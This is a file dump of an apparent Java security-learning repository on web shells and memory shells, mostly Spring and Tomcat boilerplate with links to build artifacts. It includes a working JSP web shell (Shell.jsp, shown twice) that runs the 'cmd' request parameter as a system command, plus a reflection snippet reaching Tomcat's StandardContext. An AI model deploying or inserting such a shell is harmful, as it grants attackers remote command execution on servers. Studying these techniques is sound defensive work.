C:\Users\34946\Desktop\Java_memShell\Java_Hello\src\main\java\Hello.java 2 | -------------------------------------------------------------------------------- /Java_memShell/Java_Hello/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Hello/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst -------------------------------------------------------------------------------- /Java_memShell/Java_JSP/src/main/webapp/Shell.jsp: -------------------------------------------------------------------------------- 1 | 2 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 3 | 4 | 5 | shell 6 | 7 | 8 | <% if(request.getParameter("cmd")!=null){ 9 | java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); 10 | int a = -1; 11 | byte[] b = new byte[2048]; 12 | out.print("
");
13 |     while((a=in.read(b))!=-1){
14 |         out.print(new String(b));
15 |     }
16 |     out.print("
"); 17 | } 18 | 19 | %> 20 | 21 | 22 | -------------------------------------------------------------------------------- /Java_memShell/Java_JSP/src/main/webapp/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | Archetype Created Web Application 7 | 8 | -------------------------------------------------------------------------------- /Java_memShell/Java_JSP/target/Java_JSP.war: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP.war -------------------------------------------------------------------------------- /Java_memShell/Java_JSP/target/Java_JSP/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Created-By: IntelliJ IDEA 3 | Built-By: 34946 4 | Build-Jdk: version 1.8.0_65 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/Java_JSP/target/Java_JSP/Shell.jsp: -------------------------------------------------------------------------------- 1 | 2 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 3 | 4 | 5 | shell 6 | 7 | 8 | <% if(request.getParameter("cmd")!=null){ 9 | java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); 10 | int a = -1; 11 | byte[] b = new byte[2048]; 12 | out.print("
");
13 |     while((a=in.read(b))!=-1){
14 |         out.print(new String(b));
15 |     }
16 |     out.print("
"); 17 | } 18 | 19 | %> 20 | 21 | 22 | -------------------------------------------------------------------------------- /Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-annotations-api-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-annotations-api-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-api-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-api-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-catalina-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-catalina-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-coyote-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-coyote-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-el-api-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-el-api-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-jaspic-api-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-jaspic-api-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-jni-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-jni-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-jsp-api-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-jsp-api-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-juli-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-juli-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-servlet-api-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-servlet-api-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-util-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-util-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-util-scan-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/lib/tomcat-util-scan-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Java_JSP/target/Java_JSP/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | Archetype Created Web Application 7 | 8 | -------------------------------------------------------------------------------- /Java_memShell/Java_JSP/target/Java_JSP/test.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.lang.reflect.Field" %><%-- 2 | Created by IntelliJ IDEA. 3 | User: 34946 4 | Date: 2022/5/4 5 | Time: 15:18 6 | To change this template use File | Settings | File Templates. 7 | --%> 8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 9 | 10 | 11 | Title 12 | 13 | 14 | <% 15 | Field reqF = request.getClass().getDeclaredField("request"); 16 | reqF.setAccessible(true); 17 | Request req = (Request) reqF.get(request); 18 | StandardContext context = (StandardContext) req.getContext(); 19 | out.println(context); 20 | %> 21 | 22 | 23 | -------------------------------------------------------------------------------- /Java_memShell/Spring/.gitignore: -------------------------------------------------------------------------------- 1 | HELP.md 2 | target/ 3 | !.mvn/wrapper/maven-wrapper.jar 4 | !**/src/main/**/target/ 5 | !**/src/test/**/target/ 6 | 7 | ### STS ### 8 | .apt_generated 9 | .classpath 10 | .factorypath 11 | .project 12 | .settings 13 | .springBeans 14 | .sts4-cache 15 | 16 | ### IntelliJ IDEA ### 17 | .idea 18 | *.iws 19 | *.iml 20 | *.ipr 21 | 22 | ### NetBeans ### 23 | /nbproject/private/ 24 | /nbbuild/ 25 | /dist/ 26 | /nbdist/ 27 | /.nb-gradle/ 28 | build/ 29 | !**/src/main/**/build/ 30 | !**/src/test/**/build/ 31 | 32 | ### VS Code ### 33 | .vscode/ 34 | -------------------------------------------------------------------------------- /Java_memShell/Spring/.mvn/wrapper/maven-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring/.mvn/wrapper/maven-wrapper.jar -------------------------------------------------------------------------------- /Java_memShell/Spring/.mvn/wrapper/maven-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.4/apache-maven-3.8.4-bin.zip 2 | wrapperUrl=https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar 3 | -------------------------------------------------------------------------------- /Java_memShell/Spring/src/main/java/com/example/spring/Application.java: -------------------------------------------------------------------------------- 1 | package com.example.spring; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class Application { 8 | 9 | public static void main(String[] args) { 10 | SpringApplication.run(Application.class, args); 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /Java_memShell/Spring/src/main/java/com/example/spring/HelloWorld.java: -------------------------------------------------------------------------------- 1 | package com.example.spring; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.web.bind.annotation.GetMapping; 5 | import org.springframework.web.bind.annotation.ResponseBody; 6 | 7 | @Controller 8 | public class HelloWorld { 9 | 10 | @ResponseBody 11 | @GetMapping ("/hello") 12 | public String Hello(){ 13 | return "Hello World!"; 14 | } 15 | } -------------------------------------------------------------------------------- /Java_memShell/Spring/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | server.port=8088 2 | -------------------------------------------------------------------------------- /Java_memShell/Spring/src/test/java/com/example/spring/ApplicationTests.java: -------------------------------------------------------------------------------- 1 | package com.example.spring; 2 | 3 | import org.junit.jupiter.api.Test; 4 | import org.springframework.boot.test.context.SpringBootTest; 5 | 6 | @SpringBootTest 7 | class ApplicationTests { 8 | 9 | @Test 10 | void contextLoads() { 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /Java_memShell/SpringBoot_Controller/.gitignore: -------------------------------------------------------------------------------- 1 | HELP.md 2 | target/ 3 | !.mvn/wrapper/maven-wrapper.jar 4 | !**/src/main/**/target/ 5 | !**/src/test/**/target/ 6 | 7 | ### STS ### 8 | .apt_generated 9 | .classpath 10 | .factorypath 11 | .project 12 | .settings 13 | .springBeans 14 | .sts4-cache 15 | 16 | ### IntelliJ IDEA ### 17 | .idea 18 | *.iws 19 | *.iml 20 | *.ipr 21 | 22 | ### NetBeans ### 23 | /nbproject/private/ 24 | /nbbuild/ 25 | /dist/ 26 | /nbdist/ 27 | /.nb-gradle/ 28 | build/ 29 | !**/src/main/**/build/ 30 | !**/src/test/**/build/ 31 | 32 | ### VS Code ### 33 | .vscode/ 34 | -------------------------------------------------------------------------------- /Java_memShell/SpringBoot_Controller/.mvn/wrapper/maven-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringBoot_Controller/.mvn/wrapper/maven-wrapper.jar -------------------------------------------------------------------------------- /Java_memShell/SpringBoot_Controller/.mvn/wrapper/maven-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.4/apache-maven-3.8.4-bin.zip 2 | wrapperUrl=https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar 3 | -------------------------------------------------------------------------------- /Java_memShell/SpringBoot_Controller/src/main/java/com/example/springboot_controller/SpringBootControllerApplication.java: -------------------------------------------------------------------------------- 1 | package com.example.springboot_controller; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class SpringBootControllerApplication { 8 | 9 | public static void main(String[] args) { 10 | SpringApplication.run(SpringBootControllerApplication.class, args); 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /Java_memShell/SpringBoot_Controller/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Java_memShell/SpringBoot_Controller/src/test/java/com/example/springboot_controller/SpringBootControllerApplicationTests.java: -------------------------------------------------------------------------------- 1 | package com.example.springboot_controller; 2 | 3 | import org.junit.jupiter.api.Test; 4 | import org.springframework.boot.test.context.SpringBootTest; 5 | 6 | @SpringBootTest 7 | class SpringBootControllerApplicationTests { 8 | 9 | @Test 10 | void contextLoads() { 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/src/main/java/com/shell/controller/Hello_Controller.java: -------------------------------------------------------------------------------- 1 | package com.shell.controller; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.ResponseBody; 6 | 7 | @Controller 8 | public class Hello_Controller { 9 | 10 | @ResponseBody 11 | @RequestMapping("/hello") 12 | public String Hello(){ 13 | return "Hello"; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/src/main/webapp/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Hello World!

4 | 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller.war: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller.war -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Created-By: IntelliJ IDEA 3 | Built-By: 34946 4 | Build-Jdk: version 1.8.0_311 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/classes/com/shell/controller/Hello_Controller.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/classes/com/shell/controller/Hello_Controller.class -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/classes/com/shell/controller/shell_controller$Controller_Shell.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/classes/com/shell/controller/shell_controller$Controller_Shell.class -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/classes/com/shell/controller/shell_controller.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/classes/com/shell/controller/shell_controller.class -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/jstl-1.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/jstl-1.2.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-aop-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-aop-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-beans-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-beans-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-context-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-context-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-core-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-core-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-expression-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-expression-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-jcl-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-jcl-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-web-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-web-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-webmvc-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/spring-webmvc-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/standard-1.1.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/WEB-INF/lib/standard-1.1.2.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/target/SpringMVC_Controller/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Hello World!

4 | 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/target/classes/com/shell/controller/Hello_Controller.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/classes/com/shell/controller/Hello_Controller.class -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/target/classes/com/shell/controller/shell_controller$Controller_Shell.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/classes/com/shell/controller/shell_controller$Controller_Shell.class -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Controller/target/classes/com/shell/controller/shell_controller.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Controller/target/classes/com/shell/controller/shell_controller.class -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Interceptor/src/main/webapp/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Hello World!

4 | 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor.war: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor.war -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Created-By: IntelliJ IDEA 3 | Built-By: 34946 4 | Build-Jdk: version 1.8.0_311 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/classes/com/shell/controller/Inject_Shell_Interceptor_Controller$Shell_Interceptor.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/classes/com/shell/controller/Inject_Shell_Interceptor_Controller$Shell_Interceptor.class -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/classes/com/shell/controller/Inject_Shell_Interceptor_Controller.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/classes/com/shell/controller/Inject_Shell_Interceptor_Controller.class -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/javax.servlet-api-4.0.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/javax.servlet-api-4.0.1.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/jstl-1.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/jstl-1.2.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-aop-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-aop-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-beans-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-beans-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-context-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-context-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-core-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-core-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-expression-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-expression-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-jcl-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-jcl-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-web-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-web-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-webmvc-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-webmvc-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/standard-1.1.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/standard-1.1.2.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Hello World!

4 | 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Interceptor/target/classes/com/shell/controller/Inject_Shell_Interceptor_Controller$Shell_Interceptor.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/classes/com/shell/controller/Inject_Shell_Interceptor_Controller$Shell_Interceptor.class -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_Interceptor/target/classes/com/shell/controller/Inject_Shell_Interceptor_Controller.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/classes/com/shell/controller/Inject_Shell_Interceptor_Controller.class -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_WEBB/src/main/java/com/controller/test.java: -------------------------------------------------------------------------------- 1 | package com.controller; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.ResponseBody; 6 | 7 | @Controller 8 | public class test { 9 | 10 | @ResponseBody 11 | @RequestMapping("/hello") 12 | public String hello(){ 13 | System.out.println("hello"); 14 | return "Hello"; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_WEBB/src/main/webapp/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Hello World!

